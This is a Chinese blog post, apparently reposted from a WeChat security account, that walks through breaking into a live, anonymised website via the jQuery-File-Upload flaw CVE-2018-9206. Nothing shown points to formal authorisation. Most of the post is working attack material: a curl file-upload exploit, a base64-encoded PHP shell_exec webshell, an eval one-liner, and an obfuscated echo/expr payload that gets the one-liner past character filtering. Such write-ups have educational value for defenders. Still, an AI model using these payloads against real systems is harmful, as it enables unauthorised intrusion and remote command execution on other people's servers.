首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >CVE-2018-9206渗透实战

CVE-2018-9206渗透实战

作者头像
鸿鹄实验室
发布2021-04-15 13:12:22
发布2021-04-15 13:12:22
1.3K00
代码可运行
举报
文章被收录于专栏:鸿鹄实验室鸿鹄实验室
运行总次数:0
代码可运行

起因:

最近无聊嘛,正好在公司的朋友丢过来一个站,让帮忙看看,那就搞起呗...

过程:

目标地址:

www.xxx.com

延迟搞到我怀疑人生。

先来一波基本的信息收集:

再来看看WAF情况

代码语言:javascript
代码运行次数:0
运行
复制
Checking https://www.xxxx.com/
Generic Detection results:
The site https://www.xxx.com/ seems to be behind a WAF or some sort of security solution
Reason: Blocking is being done at connection/packet level.
Number of requests: 1

端口开放情况这里推荐大家一个插件shodan直接探测端口,很方便:

前台基本没什么漏洞,随手扫了一下目录,扫到了一个地址,只能说自己字典还不错:

代码语言:javascript
代码运行次数:0
运行
复制
https://www.xxx.com/scripts/jQuery-File-Upload

访问之:

jQuery上传组件,这个组建的漏洞还是蛮多的,详情请戳:https://xz.aliyun.com/t/3819

要是有CVE-2018-9206可就太舒服了,该漏洞影响版本为

代码语言:javascript
代码运行次数:0
运行
复制
version <= 9.22.0 and with Apache > 2.3.9

在网上找到对应的漏洞利用工具,进行测试

人品这么差?失败??不存在的!!我们先来分析一下这个exp的检测方式,首先根据路径拼接一下路径:

代码语言:javascript
代码运行次数:0
运行
复制
"server/php/upload.class.php" "example/upload.php" "server/php/UploadHandler.php" "php/index.php"

若存在则构建以下数据包,进行上传:

代码语言:javascript
代码运行次数:0
运行
复制
curl --connect-timeout 10 -sk -A "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0" -F "files[]=@nwSezQ0fg6tf.php" -F "filename=nwSezQ0fg6tf.php" "https://www.xxx.com/scripts/jQuery-File-Upload//server/php/index.php"

文件名为随机的,文件内容为:

代码语言:javascript
代码运行次数:0
运行
复制
<?php echo \"it works\"; unlink(__FILE__); ?>

然后拼接:

路径 + server/php/files/刚才随机的文件名.php

若文件存在且内容中存在it works则显示成功,可是这样也存在一些缺点就是,一旦网站管理人员更改了上传目录,你就会一直失败,根据多年经验,盲猜文件上传后的地址在刚才的upload目录中:果然访问以下地址,出现403

代码语言:javascript
代码运行次数:0
运行
复制
https://www.xxx.com/upload/files/

然后加上文件名,发现文件上次成功:

下面就好说了,直接写shell就好了,可是linux下直接写shell是不行的,会出现下面这样的情况:

这个倒是好说,使用base64写入就好了,写入后菜刀一直无法连接,提示返回信息为空,怀疑是disable_function在作怪,传phpinfo查看:

disbale_function如下:

代码语言:javascript
代码运行次数:0
运行
复制
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,  pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority

没发现什么,换shell_exec尝试,将exp中的

代码语言:javascript
代码运行次数:0
运行
复制
echo "<?php echo \"it works\"; unlink(__FILE__); ?>" > ${MALICIOUS_FILE}

替换为:

代码语言:javascript
代码运行次数:0
运行
复制
echo -n "PD9waHAgJGNtZD0kX0dFVFsibmFtZSJdO2VjaG8gc2hlbGxfZXhlYygkY21kKTsgPz4=" | base64 -d > ${MALICIOUS_FILE}

访问,执行命令成功:

这样总归不如菜刀、蚁剑来的方便,我们还是可以选择去写一个shell进去,大体方案有如下两种:

1.如何echo 写shell

2.如何通过下载得shell

如何echo 写shell,以写一句话PHP木马为例,主要解决的是.(点)的问题,$(美元符号),以及>(管道符号)和括号,首先echo一个文件进去:

代码语言:javascript
代码运行次数:0
运行
复制
echo <?php eval($_REQUEST[v]);?> >test.php

既然不能生成那就 ”借”,直接借现有文件中的字符.可以从变量中借或者从现有的文件中借.用到的方法是linux Shell expr的方法.

payload如下:

代码语言:javascript
代码运行次数:0
运行
复制
echo `expr substr $(awk NR==1 xxoo) 1 1`?php eval`expr substr $(awk NR==11 xxoo) 33 1``expr substr $(awk NR==20 xxoo) 1 1`_REQUEST[v]`expr substr $(awk NR==11 xxoo) 35 1``expr substr $(awk NR==20 xxoo) 7 1``expr substr $(awk NR==17 xxoo) 2 1``expr substr $(awk NR==1 xxoo) 6 1` >2`expr substr $(awk NR==30 xxoo) 13 1`php;

2·就简单多了,wget,curl啥的,多的是。

其他的操作就到这里吧,毕竟人家不让提权哈哈哈

觉得好看就点个赞吧!

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2019-12-24,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 鸿鹄实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档